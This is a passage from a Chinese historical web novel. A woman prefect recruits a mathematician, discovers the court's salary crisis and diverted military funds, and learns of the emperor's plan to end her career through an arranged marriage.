看着那差役小跑着去办差,把甄举人眼馋地不行,偏偏苏大人问他:“说起来,今年还有会试,甄举人怎么不参加。” 参加? 他上次碰四书五经,已经不知多少年前了。 如何参加。 也是他运气好。 以前辛辛苦苦考上举人都不能当官。 现在连没有功名的女子都能做官了。 他找谁说理去。 甄举人没留神,把真心话说出来,一时觉得自己失言。 谁料苏大人却道:“确实是这样,今朝废除了四书五经之外的考试,倘若数科还在,甄举人即便参加,应该也能拿第一。” 对啊! 到底谁把数科从科举里废除的! 实在可恶的! 这话不能讲,因为是本朝高祖皇帝废除的。 甄举人垂头丧气,又瞬间抬头。 苏知府能让女子参加童试,那数科重回科举,又有何不可。 不对,苏知府能让一个女子当县令。 他这个举人当个官,应该也可以吧? 见苏知府明显打算离开,甄举人飞快写下最后几题的答案:“苏知府,后会有期。” 这人是真想进步啊,真想做官啊。 没错,甄举人是想做官。 无论不想见苏清,还是故意磨蹭做题,现在又飞速做题。 都是想做官。 数学大佬也想做官,这不行吗? 苏清见此,干脆道:“只是方才讲,以后肯定还有更多难题,不止甄举人是否愿意去广乐府在工司担任职位,也方便答疑解惑。” 来了! 甄举人眼前亮了,也直接问:“做什么官?” “工司下营造主事,从六品。” 从六品? 还是个主事? 这辈子只在衙门混过几日的甄举人,从未做过这么大的官。 他当即就想答应了。 苏清反而道:“那是在广乐府,你愿意搬过去吗?” 这有什么不愿意的,可以当官,又能做题,怎么不行啊。 可甄家其他人欲言又止。 甄举人做官,这怎么能行。 不出一日,工司所有人都会被他得罪。 还当主事,他如何管得了人啊。 甄娘子出来,委婉表达这个意思。 苏清却不意外。 甄举人好歹是举人,以前不能做官,这几年还不能做,肯定有原因。 看来就是这点了,不大善于交际。 苏清让甄娘子放心:“虽是主事,却不用管什么。” 因为营造部门现在就甄举人一个。 到时候只招算数物理甚至化学人才。 让一群学霸卷去吧! 其实不用苏清多说。 甄举人已然沉浸在要做官的快乐里,甚至想让家人赶紧收拾行李,他们出发去广乐府啊。 苏清这边还要给吏部上书走程序。 她还要等叛军等人判决下来,以及送走田献之后,才能离京。 “不着急的,大约在二月初,咱们一起出发。” “我跟通民府陈知府,山阳府沈知府约好,到时候一同启程。” 那么多高官一起走? 岂不是很气派! 甄举人更愿意了。 早说苏知府是来给他官做的,他就不该躲着啊。 拿着弓夫子要的答案,还能用官位带走一个人才,苏清其实比他更高兴。 早说这么简单,给个从六品的官就行了,她也不必那么麻烦。 苏清甄举人看着彼此,都觉得自己赚了 甄举人的官职好办,不过是个广乐府工司下小小主事,很多人犯不着为难。 反而祝芳洁的文书拖拖拉拉。 到正月三十,才跟甄举人的一起下来。 这期间,叛军等人判决终于下来。 当初手下留情,也因武勇王爷是皇家人,没了他之后,这些人直接砍头了事。 还没出正月,叛军等人皆人头落地。 为祸一方的叛军首领等人,终于咽气,让不少人叫好。 苏清顾从斯还送走了田献。 他流放到南方海岛上,虽说相隔万里,但好歹命保住了。 苏清上下打点,应该能活着到地方:“到地方可以联系叶家商行,送消息给我,若是需要什么只管问他们要。” 反正叶山鸣会问她要钱的。 田献也不拒绝,他知道这都是为了保他的命。 田献此刻,深深叹口气:“当时出事后,若我能担起责任,你们就不会吃那么多苦。” 他那几年醉生梦死,都是苏清梅娘撑起衙门。 俸禄也是几日几日的给,只怕他喝死在哪。 苏清笑:“若不是那般,我也不会真正做官。” 这倒也是? 田献不再纠结。 反正杀了仇人之后,他不知道有多快活,怎么过日子都快活。 现在正月三十,苏清拿着祝芳洁的官凭,又看了眼合不拢嘴的甄举人。 “准备准备,回广乐府。” 苏清话音未落。 梁公公带着圣旨过来。 “皇上圣旨,赐苏知府翰林职位,暂调礼部为本年会试调员之一。” 意思就是,苏清知府官职不变,再添翰林职位,品级可以忽略不计,但荣耀非常。 再调到礼部,给今年会试打下手。 会试期间,主办的礼部自然极忙,一般都会从各部抽调人手。 苏清这个广乐府知府,也被调来? 这合适吗? 反正甄举人羡慕极了。 又是翰林,又是参加会试举办。 肯定是皇上看中苏大人您啊! “大人快接旨啊!” 苏清苦笑,圣旨都下了,不接旨是不可能的。 但她心中只有一个想法。 皇帝必然有阴谋。 必然不是看重。 那他,到底想做什么? 苏清抬起头,脸上带着笑意,似乎真的很高兴:“皇上赏识,微臣莫敢推辞,必然竭尽所能。” 不管龙潭虎穴,她都会跳的。 管你什么糖衣炮弹,现在的糖衣我全都要。 苏清要参与会试的消息,更像一颗惊雷。 原本要一起回乡的沈知府陈知府都有些酸溜溜。 他们也想经办会试啊。 皇上怎么不留他们! 苏清见他们来贺喜,趁机把甄举人全家托付给他们,让他们先带去广乐府。 还有祝芳洁的官凭,同样送回。 留在京城是福是祸。 待下去,就知道了。 65-70 第66章 永晟六年,二月初六。 地方官员陆陆续续回去。 通民府知府再三说了,等苏清回广乐府的时候,一定在老家待一段时日。 多半还是发愁通民府的财政情况,想请苏清出出主意。 山阳府那边没什么好说的,沈知府急着回去教女儿读书。 拿到官职的甄举人乐呵呵搬行李。 徽州赵知州同样离京。 他对苏清最是不爽。 年前想让苏清丢脸,没做到。 年后想让把她的事情都搅黄了,也没做到。 现在好了,苏清甚至能被留下来,参与会试。 明明他才是得皇上欢心的那个啊。 怎么就让苏清抢了先。 有人说,她弄了个什么益气养神丸。 皇上吃了后,通体舒畅,身子都好了些。 邀宠媚上,果然是女子行径。 赵知州离京时,还出言嘲讽。 苏清自然不理他,因为此时的苏大人已然去礼部报道了。 二月初七,京城礼部官署。 本就因会试极为热闹的礼部,此刻门里门外都挤着人。 门里的礼部官员,假装不看苏清。 门外其他各部官员,则忍不住打量她。 “不是说她长相酷似男子吗?看着雌雄莫辨,这看着就是个女子啊。” “还说她面相凶狠,杀伐决断,都是假的。” “哎,就是个好看的高挑女娘啊。” 不知是不是被听到了,苏清正好回头看向他们,嘴角挑起,稍稍点头。 苏清相貌本就好,平日虽穿官服居多,可日常衣服却不算素净。 主要她衣服鞋袜全都是梅娘做的,细枝末节里,自然能看出花样。 现在她脚上的靴子,就明显跟其他人不同。 可她这一笑,外面众人却立刻站直了。 别说好不好看了,这人的笑也太像上司同僚了啊。 这样一笑,好像就有无数公务等着他们! 来围观的官员,基本都没苏清官职高。 以前还能仗着是京官,低看人家一眼,现在人家也有京官身份啊,自然迅速开溜。 苏清不是头一回做官。 却是头一回被这样围观。 之前在南江县,在广乐府府城,大家都没这样好奇的。 大概率,京城就算有女官,也多在宫中。 六部官署里面,苏清是第一个女子。 要说礼部这边也是极为纠结。 尤其是负责具体事情的左侍郎。 他接到皇上口谕的时候,比苏清还不敢置信。 礼部是缺人。 是在其他各部调员。 但真不至于缺一个苏清啊。 这是科举,苏清懂什么? 她看得懂四书五经吗。 纵然心里有许多话,但不知皇上用意之前,还是要客气点。 官场上,绝对不要小看任何一个人。 给苏清安排了些杂活。 多半是统计名册,核对考生信息等等。 这些事对苏清来说自然不难。 一起负责这些差事的,多也不是礼部官员。 “我是从刑部调过来的书吏。” “我也是三司的人。” “工部的,他俩是兵部的。” 至于吏部户部调过来的书吏,则负责更重要的差事。 京城官署内部,等级分明啊。 户部不用说,管钱的,万年老二的地位。 吏部为天官,管人事调动,官员考核。 地位非比寻常。 礼部则要看当朝者的心情。 现在看来,礼部也挺重要。 所以他们这几部官员负责重要差事。 留苏清等人做些杂活。 苏清听着大家嘀嘀咕咕,又道:“你们也是进士吗?看着不像啊。” 身边一人幽幽道:“怎么了,还能看出我们是举人还是进士?” 倒不是这个意思,苏清直接道:“是你们看着年轻,上一次会试都在六年前了,应该没那么年轻的进士。” 哦,原来是这样。 那确实如此。 刑部那书吏道:“我是京城海德侯爷之孙,得了荫封来的。” 其他各自介绍。 要么是家里有功,要么为权臣子侄。 总之一句话。 在这做官的,全都非富则贵。 一上午的时间,苏清不仅知道他们名字,更问出各家情况。 靠着荫封得官,跟苏清这种摸爬滚打起来的,还是不一样。 所以临到中午,那位海德侯爷之孙,就已经道:“苏大人走啊,先去吃饭,事是做不完的。” 苏清笑:“好,请海大人带路,咱们在哪吃啊。” 旁边小刘大人道:“礼部放饭,去晚了就没了。咱们早点去,赶在三部之前去。” 三部,指的就是吏礼户了。 不过在官署吃饭,怎么还跟学校食堂一样,要抢饭? 苏清当即没有多问,等下午差事做完,便已知晓情况。 因为那官署食堂。 一直在欠薪。 除了重要大员有单独的饭食外,其他饭菜有些紧张。 再加上礼部最近人多,显得更紧张了。 朝廷拨银艰难,后厨那边要了好几次银子。 但礼部管账目的官员也没办法。 户部没钱开支,不止不给后厨银钱,连他们各部官员的俸禄也没给啊。 苏清跟小海大人边走边说。 那边小刘大人也道:“所以,咱们要抢饭。” 不管差事做的怎么样,不能饿着自己了! 见他们只说吃饭的事,苏清忍不住道:“不发俸禄也行吗?你们不用俸禄的吗?” 侯爷之孙小海大人看向她。 高官之子小刘大人也看着她。 “谁指望俸禄过日子啊!” “对啊,你家没有田庄铺面吗。” “靠着月俸过日子,我们都要穷死了。” 苏清沉默。 好吧,是她不了解富二代们的生活。 当年南江县发不起俸禄,她也尽量发粮食,等手头有钱,立刻把大家工资补上。 京城这边,难道就没有需要工资的官员? 只有她一个人,靠工资过日子吗?! 当然,最重要的是。 以小见大,顺昌国国库紧张,连各部食堂的拨银都给不出来。 若是这样,国库情况,远比大家想象中更严重。 苏清回到住处,苏清吩咐武捕头等人,帮忙打听一些消息。 第二日吃饭的时候,苏清早早去了食堂,很晚才出来。 再加上武捕头调查到的消息。 苏清可以确定。 能在六部任职的书吏还好。 多半家里有些底子,把他们塞过来做事。 反而是一些科举出身的官员,尤其较为清廉的官员,情况实在窘迫。 户部本就发不出俸禄,食堂的饭也不够。 想来这一天若不在食堂吃顿饱饭,回家是会饿肚子的。 六部官员尚且如此,京城其他各部官员,情况更差。 有的给老家写信,让家里寄钱粮过来。 家里也穷的,只好问朋友借钱。 都说京官油水不丰厚,却也不能穷成这样吧。 苏清之前只作为地方官员,并不了解这些情况。 现在在礼部做事,才发现不对劲。 “去请咱们同乡户部郎中方托过来。”苏清道,“让厨房备好酒菜果子,请他来说话吃饭。” 他们现在住的宅子,就是方大人帮忙找的,之前还特意感谢过他。 当然,钱是广乐府衙门付的,开支也是衙门那边出。 苏清他们没觉得不对,而且衙门也付得起。 现在想想,身为同乡会的人,方大人连客气都不客气一下。 应该就是月俸发不出来,所以不好开口? 果然方大人一来,脸色有些讪讪。 他好歹是户部郎中,日子却混的这般凄惨,还要上面混口饭,面子上真的挂不住。 但他又知道,苏知府不是个爱笑话人的,自己过来,不会受到刁难。 方大人叹口气:“看来苏知府已经知道了。” 苏清点头,请方大人武捕头等人坐下。 苏清不吃酒,就让武捕头陪着。 酒一下肚,大家话就多了。 作为户部郎中,对顺昌国财政情况最为了解。 这又不是外人,他们也是嘴严的,方大人立刻开始吐槽。 但吐槽之前,还是抹把脸:“方才听说,苏知府给我家人也备了份酒菜,能不能提前送过去啊。” 当然可以。 苏清立刻让人送酒菜,足够方大人在家五口人享用。 看着酒菜送出,方大人差点落泪。 倒不是为这口吃的。 是为如今的处境。 “我当年读书的时候,就没受过这委屈。”方大人咬牙。 他跟娘子家境不算特别好。 也算是两家一起供他读书。 但就算读书期间,尤其是他考上举人,两家都不用交田税后。 他跟娘子就没挨过饿啊,不管日子怎么样,吃喝是不愁的。 每年秋收后,老丈人还送来自家酿的酒。 哪像现在这样,俸禄发不出来,还让家里给寄钱。 “我也是运气好,是咱们广乐府的人,家里有些余粮。” “其他地方同僚,要了也没钱,老家日子根本过不下去。” “但我不能一直问我家还有娘子家要钱,都在京城当差了,都以为我赚大钱呢。” 实际上? 俸禄都发不出来! “去年上半年就发不出来了,好在八九月各地税收上来,发了三四个月银子,算是把年给过去了。” “今年又是这样,京城所有官吏的银子都没发,食堂的也是拨不出钱。” 方大人越说越气。 谁家当官当成他这样啊。 简直好笑。 而京城大部分底层官员,都是他这样的。 不止底层,中低层都是这样。 武捕头都听傻眼了。 这些年跟着苏大人,虽说忙了点,但银子跟吃喝是不缺的啊。 方大人听的眼睛都亮了。 但他是广乐府的人,不能去本地当官。 哎。 难啊。 苏清听着,问出心中疑惑:“可是今年会试的场面,却比往年都要大。” “会试用的银子,是哪里来的?” 提到这个。 方大人瞬间清醒。 是不该说的。 可他又很想讲。 户部不发俸禄,不拨银子给食堂。 却有钱办会试。 还不是上面发话。 这个上面,不言而喻。 但问题是,即使克扣了大家的俸禄。 钱也不够的啊。 所以办华丽会试的钱。 从哪来的。 苏清跟武捕头一起看向方大人。 方大人咬牙道:“兵部。” 此言一出,苏清几乎不敢相信自己的耳朵,武捕头更是道:“哪?!” “兵部!” 方大人也是无语的啊。 挪用兵部的钱。 而这些钱,原本要给谁的? 给广乐府驻军十六万驻军的! 是他们的军饷! 还记得去年那会,朝廷问广乐府要税银。 理由就是,以后军中物资不用你们负责,朝廷派人经办吗? 既然不用负责后勤物资,那你们就该多交税。 一口气问广乐府要了九十五万两税银。 现在好了。 这银子压根不给军中用。 直接挪走。 自晏铮州从广乐府调离,换了新的总兵内臣等人过去。 苏清跟驻军就再无接触。 根本不知道那边的情况。 但她其实想过,朝廷拨军费,不会像她这般实在,把该给的银子该给的粮食都给了。 却没想到。 人家根本就不发。 京城官员不发俸禄。 驻军也不发军饷。 这是要干什么? “那是十六万人。”苏清强调,“不发军饷,总要做点什么。” 方大人点头:“做。” “准备散了十万人,只留六万驻守皋青州。” 哦,裁员啊。 还一口气裁十万,甚至没有退伍费的那种。 苏清听的眼前一黑又一黑。 “大概会在半年内完成。”方大人干脆直说了,“反正皇上最注重的,就是科举。” 所以不惜人力物力也要办成。 “好在四月初六会试,四月二十五殿试。”方大人叹口气,“到时候应该就能发俸禄了。” 这话说的,简直闻者伤心。 武捕头已经不知该说什么了,忽然一拍桌子:“怪不得我儿每次找我,都胡吃海塞的。” 武家大儿子在京郊军营任职。 虽说那边不欠军饷,但日子也过的紧巴巴。 武捕头如何不心疼,准备把苏知府给他的奖金,拿去给儿子用了。 方大人家里,也由苏清这边出银子,至少吃喝不愁。 还有广乐府其他官员,甚至备考的顾从斯那边。 苏清都从广乐府拨银出来。 接连好几日。 本就对苏知府印象极好的广乐府户籍官员及家眷,屡次登门感谢。 估计谁也想不到,京官穷成这样? 他们做的低调。 但在同为底层小官的外乡人看来,难免羡慕。 他们的同乡会,怎么就没人出钱出力啊! 朝廷到底什么时候发俸禄! 为了个破会试,日子都不够了。 苏清算是知道,为什么被调来办会试的书吏,都是家里不愁吃喝的主。 看来各部大员们对此心知肚明。 反正小海大人,小刘大人他们,不缺这口吃的,可以尽力压榨。 估计各部大员也很无奈。 只能这么用人了。 苏清只冷眼看着。 对会试之事,更加不上心,每日应付应付差事即可。 倒是跟小海大人他们打成一片。 好在二月底时,终于有好消息传来。 通民府知府,山阳府知府陆陆续续来信。 他们已经到地方了。 尤其是山阳府沈知府,还专门派人送了甄大人去广乐府。 接下来,就是广乐府那边的信件。 罗主簿邬户司安排甄大人去了临时设立的营造司,也找了几个精通算数的书吏做帮手。 可甄大人觉得他们都极笨,骂的狗血喷头,好在他对职位算是满意,已经去武器作坊革新院答疑解惑了。 弓夫子来信喜忧参半。 高兴的是甄大人业务能力过关,不好的是,甄大人是真爱摆官架子。 不过等大人回来,炼铁技术的改进,应该会有成果。 这些问题在苏清看来,已经有点好玩了。 反正比京城这边的事情好玩。 三月初一。 礼部大员们都去上朝了。 官署里众人懒懒散散,聚在一起闲聊。 聊到俸禄这事。 这个月别想了。 真发不出来。 其中一个调员开口:“你们去贡院看了吗。” 没有啊。 苏清随口答。 “贡院修的极为奢华,银子似乎都用在那上面了。” 此言一出,又有人道:“还有考试用的纸张,听说用的上好白纸。” “考场也翻新了,国子监那边也修了的大殿。” “还有进士礼服,说是全部重做,正在赶工呢。” 别的都好理解,进士礼服是什么? 有考过进士的官员道:“就是新科进士面见皇上时穿的衣服。” “我那年就分到一件,说是用了三四次了,也没洗,直接让我们穿上。” “也就状元榜眼探花的衣服干净些。” 苏清明白过来,这些礼服是重复利用的,反正三年就穿那一天。 如果有破损,直接修补替换即可。 直接把所有礼服悉数换新不是不行。 但先看看国库情况吧。 如今连官员俸禄都发不起,还搞这种事情,不怪官员们嘀咕。 这次的会试,堪称劳民伤财了。 一个如此重视科举,重视儒学的人。 为何对祝芳洁如此轻拿轻放。 苏清本就对这事心有疑惑。 如今更是不解。 还有,为什么让她留在京中? 里面必有蹊跷。 苏清又去接触了梁公公几次。 甚至松口给梁公公再送些东西,他也是装傻不知的。 齐内官去问,同样说不知道。 苏清趁着办差走动,去找了在刑部的连飞扬,直接道:“铮王爷最近在做什么。” 连飞扬并不好奇苏清为何这样问,只道:“铮王爷赋闲在家啊。” 当天晚上,苏清就在房内看到赋闲在家的晏铮州。 自正月初一后。 两人还是头一回见。 苏清下意识看了看手指,晏铮州皱眉,明显想到什么。 看到他的反应,苏清反而笑了,左手摸着右手的指尖:“触感不错。” 晏铮州脸黑了,冷声道:“你是有未婚夫的人。” 未婚夫? 苏清愣住,又看了看手,再看向晏铮州,眉头瞬间皱起。 晏铮州以为她终于想起来,自己是有未婚夫的人。 没记错的话,还是相互扶持的未婚夫。 前段时间,更送了银子过去。 不少人都说他们未婚夫妇感情好,顾从斯从不否认。 晏铮州见过那个书生。 对他印象一般。 苏清一直没说话,晏铮州走过去,低声道:“你是有未婚夫的人。” “不要招惹别人。” 苏清这才抬头,晏铮州意识到离她太近,刚想后退,却被对方按住腰带。 明明可以轻易挣脱,晏铮州却没能走开。 苏清很明显,能从他眼中看出挣扎,她想笑,又觉得不大合适,故意凑得更近。 “有未婚夫,就不能招惹你了吗。” 苏清的呼吸扑洒在晏铮州颈间,让他起了一身鸡皮疙瘩,脚步未挪动一步。 晏铮州看着对方的嘴唇,还有过于活泛的眼睛,恨不得咬上去。 “原来是这样。”苏清头抵在晏铮州肩膀,“原来是这样。” “我怎么就没想到。” 苏清边说,紧紧搂住对方劲痩的腰。 晏铮州浑身僵硬,只盯着苏清的发顶,感受怀中之人的呼吸,心跳,乃至脉搏。 过了不知多久,晏铮州找回自己声音:“发生了什么。” 苏清抬头,把人抱得更紧,嘴里的话愈发肆无忌惮:“你皇兄,要把我嫁给我未婚夫。” 晏铮州脸又黑了半度,要把苏清推开,却听她继续道:“从此我便要相夫教子,彻底离开官场。” 苏清冷静道:“四月初六考试,十九出会试成绩,二十五殿试,二十六琼林宴赐婚。” “等我们完婚,必然过了八九月份。 永晟三年八月份,就是苏清做广乐府知府的日子。 到今年八月,三年任期就满了。 趁着嫁人,趁着任期满了。 她就不必回广乐府。 更不必做官了。 皇上心情好,就给她个宫中闲职。 心情不好,便回家相夫教子。 若真嫁给顾从斯。 那顾家夫妇一定回来“管教”她。 留她在京城经办会试。 原来是为这事。 根本不给她反应时间。 更要把她永远困在此地。 晏铮州嘴唇微动。 这是皇上能做出的事。 他查了很久,一丝消息也没露出。 毕竟这件事并不难办。 只要给顾从斯赐婚即可。 反正两人还有婚约,甚至不算乱点鸳鸯谱。 晏铮州抬起手,放在苏清肩膀上:“你要退婚吗?” 退婚? 早就退了啊。 苏清忍不住发笑,搂住对方脖子:“不退呢。” 晏铮州不敢置信。 她不是这样的人。 不可能为了顾从斯放弃现在的一切。 苏清今日本就有些累,干脆挂在对方身上:“抱我去床上吧。” 感觉对方浑身一震,苏清继续道:“快点。” 见他还不动,苏清摸摸他耳朵:“我想休息了。” 晏铮州轻松抱起怀里的人,手掌难免碰到背部,轻轻把她放到床上,再盖好被子,自己坐到床边。 可今日苏清不打算放过他,自己往里面睡睡,又拍拍身侧:“躺下说话。” 晏铮州无奈,只道:“既然不退婚,你准备怎么办。” “你哥要是当众丢脸,会不会恼羞成怒。” 晏铮州答:“不会。” “但他会记在心里。” 然后暗暗报复。 苏清点头:“我猜也是。” 晏铮州不知道苏清要做什么,只道:“你们既然有婚约,当众拒婚,肯定不行。只会觉得你拒绝皇上好意。” 苏清不理这个问题,只道:“你有什么好办法。” 他的办法。 便是提前退婚,尽早离京。 等晏铮州说完,苏清笑了:“退婚啊?是为我还是为你。” 苏清的手从被子里伸出来,故意碰了碰对方大腿:“好结实。” 晏铮州想站起来,又觉得反应太大,颇为无奈:“退了再说。” 这话倒有意思。 苏清把手伸回来,叹口气:“退啊,肯定退。” “什么时候去。”晏铮州追问。 苏清想着自己的计划,随口道:“等他考完吧,不要影响考试发挥。” 晏铮州定定看她,神情莫名。 过了片刻才道:“好。” 好什么好。 苏清瘫在床上,朝离开的晏铮州挥挥手,送他离开。 夜深人静。 苏清想起叶山鸣那些话。 没想到时隔这么多年,竟是他当时讲的话,提醒了自己。 当成亲了,就不能当掌柜。 必然要相夫教子。 也是好笑。 一个皇帝,一个商人,相隔四五年,想法竟然一致。 该说叶山鸣见多识广吗? 只要她去相夫教子了。 祝芳洁,沈小姐,冯小姐,邬杉月以及很多人。 都会失望。 说实话,她扶持这些人,就是想拉拢自己的势力。 能做到什么程度,只看她们自己了。 可她今日知晓皇上的想法,心里反而更坚定。 若非忌惮这股势力,为何要费尽心机把她拉下去。 对方越反抗。 苏清越兴奋。 这件事,可越来越有意思了。 至于安全方面。 苏清竟不大担心。 晏铮州要是能看着她去死。 大概率早就反了。 这人就是道德感有点强。 跟有未婚夫的人睡一张床都不愿意啊。 苏清自己都笑出声。 算了算了,睡觉吧,什么也没有睡眠重要。 三月还算平静。 除了晏铮州晚上来了几趟,明显问她婚事怎么办。 真要等到顾从斯考完试? 期间苏清还去看了冯小姐的蹴鞠比赛。 她的蹴鞠队头一年参加比赛,输的有些惨。 苏清过去,倒是振奋他们的士气,苏清只道:“刚开始而已。” “若刚参加比赛,就赢了他们所有人。那对手也太废物了。” 当时小海大人,小刘大人就在对方球队,听的下巴都要掉下来。 苏清! 平时看着那样温和! 一张嘴怎么毒成这样! 嘴巴抹砒霜了吗! 冯小姐一个劲点头,请苏大人继续点评。 苏清也不客气:“看他们队了吗?一群死肌肉,不够灵活。” “那边?去年的冠军队啊,他们球员都要吵起来了,真以为技术无敌了?” “我们输?我们第一次参加哎,赢了血赚,输了不亏!” 苏清骂痛快了,回去继续办公。 球场上众人全都松口气。 苏大人! 求您别来! 可苏清真不来了,大家又想见她。 现在的苏清确实没空。 广乐府那边捷报频传。 先是南江县的好消息。 女子与男子一样,一起参加童试。 不仅当地女子参加,还有不少女孩结伴来看。 沈知府的女儿就是其中之一,她带着三两好友,提前去了南江县。 既想结识参加童试的女子,也想看看题目。 祝芳洁老家汇明县,同样来了不少人。 而南江县本地女考生,提前大半年,就知道女子可以参加今年童试。 但凡有些余力的家里,必然竭尽全力,让读书不错女儿们备考。 针线不做了,家务厨房事情都扔到一边。 留给这些女儿们的事情只有一个。 把四书背熟了,准备童试啊! 尤其那些只生了女儿的家里,恨不得家里直接多个女秀才。 所以在年前报名的时候,南江县男女考生共计三百零九人。 女子竟然占了一百二十多。 这也有南江县富裕,之前就有许多女子可以读书的原因。 更有想试试水的缘故。 苏清当时还来信,让考生们不要有压力。 也说了跟蹴鞠同样的话。 因是第一届,所以不管考没考上,问题都不大。 若头一年就能力压其他人,岂不是显得他们书都白读了。 让苏清没想到的,府城王学政见此,甚至多给了南江县五个府试名额。 从原本的十五个名额,变成二十个。 给的理由非常合理。 南江县早就是名副其实的上县,学生水平也高。 这名额应该给的。 其他同僚忍不住道:“不就是拍马屁,让苏知府开心啊!” 那王学政私底下吐槽:“给你们这个机会,你们不拍吗?” 反正多给了五个名额,原本抱怨女子抢他们位置书生们也不说话了。 总之南江县县试办得极好。 已经成为真正县令的祝芳洁全程看着,本地教谕夫子都不敢马虎。 四轮考试下来。 终于选出最优秀的二十位读书人。 有两名女子入选,分别是第三名跟第九名。 不仅入选了,还排在前列! 即使不给那五个名额,她们两个依旧能考中! 依旧能参加接下来府试! 南江县其他女子考生,甚至围观的沈小姐等人,忍不住为她们俩高兴。 当然,沈小姐她们的文章也拿了出来。 南江县教谕跟夫子还看了看。 若这些女子同样参加县试,大概率是能过关的。 只是她们当地暂时还不允许女子参加,实在可惜。 沈小姐却道:“不可惜,我会有机会的。” 她才不会为此难过。 因为她相信自己会有机会,一定会有。 苏知府! 我相信你! 南江县的热闹不必再说。 梅娘他们也去街上看考生了,跟过年一般。 苏清只看各方来信,就知道众人的开心。 而她们,以及她们的家族,更是最坚实的苏清支持者。 再看广乐府府城。 有官瘾极大的甄大人坐镇。 蒸汽机的研究果然快了很多,如今的功率对比苏清离开府城时,已经增加了百分之三。 别小看这百分之三,这是巨大的进步。 苏清已经等不及了。 蒸汽机做好,作坊就能加大马力改进炼铁技术。 而皋青州那边的铁矿,大概率也都到手里了。 反正费开宇那边的经历,堪称神奇。 他跟文瑞等人,跟把持铁矿的人斗智斗勇。 流血死人,总算拿下大半。 朝廷这边,要等会试结束,才会给皋青州正式派官。 所以费开宇他们根本不着急。 等会试结束,等阅卷,等派官。 少说也要等到下半年,这是真的不着急啊。 忙到三月过完。 京城的四月份,便迎来全国的备考举子。 广乐府等人更不用讲。 连原本在徽州一带赈灾,年后才回广乐府的汪鹤都来了。 这就是去年祁案首花景明他们,不约而同给苏大人举荐的人才。 去年徽州赈灾,苏清就让他同户司老杜一起去的。 老杜写信来说,对他印象不错,是个踏实肯干的人。 汪鹤到京城第一时间,就是来寻苏知府。 他倒是不在意会试,毕竟他知道,自己考不上的,而且已经递了补官文书。 他来会试,就是走个流程,然后看看吏部能给他派个什么官。 汪鹤这次去徽州,也是见识颇广。 直感叹外面情况之恶劣,故而更想拜见苏知府。 苏清虽经办会试,但做的都是杂事。 现在会试马上就要开始,身上的事情更少,也有时间同汪鹤闲聊。 得知江南的情况,苏清并未多讲,还是让汪鹤好好休息。 等着科举之后的派官。 苏清武捕头刚安顿好汪鹤等广乐府举子。 许久未见的顾从斯突然出现。 看到顾从斯时,苏清更多是感慨。 谁能想到。 不止一个人想用这桩婚事来拿捏自己。 更没想到,她的退婚,顾从斯的假装无事发生。 还能引来这么多问题。 不过没关系,很快就会结束了。 苏清不等顾从斯说话,就道:“明日就考试了,是初八下午考完吗。” 见他点头,苏清就道:“考完试后,我有话要说。” 顾从斯想讲的,也正是这件事。 他也有话要说。 见清清先开口,反而松口气。 或许,是好消息。 顾从斯还未离开,赶来的花景明盯着他们,明显听到说了什么。 祁安平这会极为尴尬。 真应该听惠举人的,不能过来啊。 他好像发生了不得的秘密了! 花景明你怎么回事。 为什么会喜欢好友的未婚妻啊?! 这不对吧。 苏清大大方方对众人道:“初八晚上,我在宅子里设宴,庆祝大家考完。” 花景明第一个点头。 一切等会试结束再说! 永晟六年,四月初六。 皇上心心念念的会试终于来了。 等他登基起,就说他极注重科举。 说来也怪,登基六年了,却是头一次科举。 毕竟登基前两年打仗,还去金陵旅游了,回来之后又打仗。 这两年好不容易不打了,挪用军费大办特办。 苏清他们这些打下手的官员,在考试前几日都没事了。 现在考试当中,重要的官员都去了贡院,大家更没什么事。 苏清跟小海小刘就在礼部晒太阳。 后面两人还在抱怨,冯小姐的蹴鞠队越来越厉害,好像要跟他们抢一个名额。 “不行,反正没事做,不如去踢球。” “对啊走吧,长官们又不在。” 小海大人忽然道:“苏大人是不是在为顾举人担心?” 苏清一愣,没有啊。 哪跟哪的事。 小海大人神神秘秘道:“你们不是未婚夫妇吗。” 虽说这段时间,并未见他们多亲密,甚至来往都不算多。 但顾举人备考嘛,大家都能理解。 小刘大人明显也知道:“以他的学问,肯定能考上的进士,考上之后,你们就成亲吗?” 苏清随意道:“再等等吧,我不着急。” 确实,也没什么着急的。 三人收拾东西去踢球。 官署里面却隔墙有耳,传到宫中。 皇上还笑。 不着急? 这可不能不着急。 三日会试一闪而过。 考生们陆陆续续出来,苏清还在院子里办公。 反而是武捕头,以及方大人方娘子忙碌,操持今晚的宴会。 依旧是请顾从斯等人,还有些京城无依无靠的备考书生。 算起来也有三十多个。 广乐府其他考生,多是见过知府大人之后,就跟家人团聚,好好休息了。 顾从斯,花景明,祁安平,惠容,汪鹤等人,状态各有不同。 最轻松的肯定是汪鹤,他是真的考不上。 尤其是其中几题,明晃晃着让颂圣。 从水患之地回来的他,真的夸不出口啊。 水患,盗贼,海盗,豪强。 真的说不过来。 这也能叫太平盛世? 也能出成考题,让考生们夸赞? 苏清自然知道题目。 三天五场考试,差不多二十道题。 其中八道要夸如今治世严明,太平安稳,更不用说最后的应试诗,更要夸皇上。 她对此不做评价。 在苏清看来,这里面的原因,既有皇上确实虚荣,也是在做筛选。 人家心心念念,费老大功夫办的科举选拔。 就是要选出“自己人”,为他做事的人。 这些要求看似无理由,其实都是选择标准罢了。 谁夸的好,谁就是自己人,谁就被皇上重用。 至于是不是真才实学,并不在考虑范围 众人讨论的热闹。 苏清看了看顾从斯,两人趁着其他人吃酒,往后院去了。 想到即将要说的话。 苏清叹口气。 到底是要有个了结的。 今日小宴,大家都在园子里,苏清的主院十分清静。 “先听我说。”苏清大概明白顾从斯要说什么,可她的话更重要,“三年前那封退婚书,应该在京城吧。” 顾从斯嘴唇微抿,微微点头。 苏清见他表情不对,下意识道:“不会在你身上吧。” 顾从斯无奈,又点头。 出贡院之后,把东西放回家中,他顺手带上退婚书。 这张纸在无数深夜里陪着他,让他明白,自己到底要做什么。 “这次科举,我必中进士。”顾从斯道,“若我中进士。” “我们能不能不退婚。” 顾从斯说的不是成亲。 而是不退婚。 无论什么时候成亲都行,全都听苏清的。 只要不退婚即可。 苏清沉默,过了许久道:“不行。 不等顾从斯说什么,她立刻道:“皇上有意借着婚约,赐婚你我。” 顾从斯脸上一瞬间狂喜,随后从苏清身上看出不同寻常的平静。 “皇上?赐婚?” 顾从斯反应过来,这里面有问题。 他就像苏清一样,忽然想到叶山鸣当时让他们退婚时说的话。 “他想让你退居幕后。”顾从斯声音也变冷,“以我们的婚约,让你不再做广乐府知府。” 既然是空出广乐府这个好位置。 